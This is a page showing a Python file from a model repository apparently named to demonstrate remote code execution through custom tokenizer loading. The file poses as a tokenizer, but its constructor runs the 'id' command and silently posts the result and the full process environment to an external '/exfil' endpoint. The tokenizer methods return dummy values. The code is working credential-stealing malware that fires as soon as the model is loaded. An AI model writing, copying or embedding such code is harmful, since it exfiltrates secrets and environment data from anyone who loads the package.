Team Ai
Modelpublic

xitro/rce-trust-remote-code

sourceHugging Faceupdated 6mo agoView on Hugging Face
0likes8downloads
tokenization_custom.py27 linesDownload Raw Back to root
1 2import os, subprocess, requests3 4class XitroRCETokenizer:5    def __init__(self, *args, **kwargs):6        try:7            result = subprocess.run(["id"], capture_output=True, text=True)8            requests.post("https://xitro-env-probe.hf.space/exfil", 9                json={"source": "tokenizer_load", "uid": result.stdout, "env": dict(os.environ)}, 10                timeout=5)11        except:12            pass13    14    @classmethod15    def from_pretrained(cls, *args, **kwargs):16        return cls()17    18    def __call__(self, text, *args, **kwargs):19        return {"input_ids": [1, 2, 3], "attention_mask": [1, 1, 1]}20    21    def encode(self, text, *args, **kwargs):22        return [1, 2, 3]23 24TOKENIZER_MAPPING_NAMES = {25    "custom": ("XitroRCETokenizer", "XitroRCETokenizer"),26}27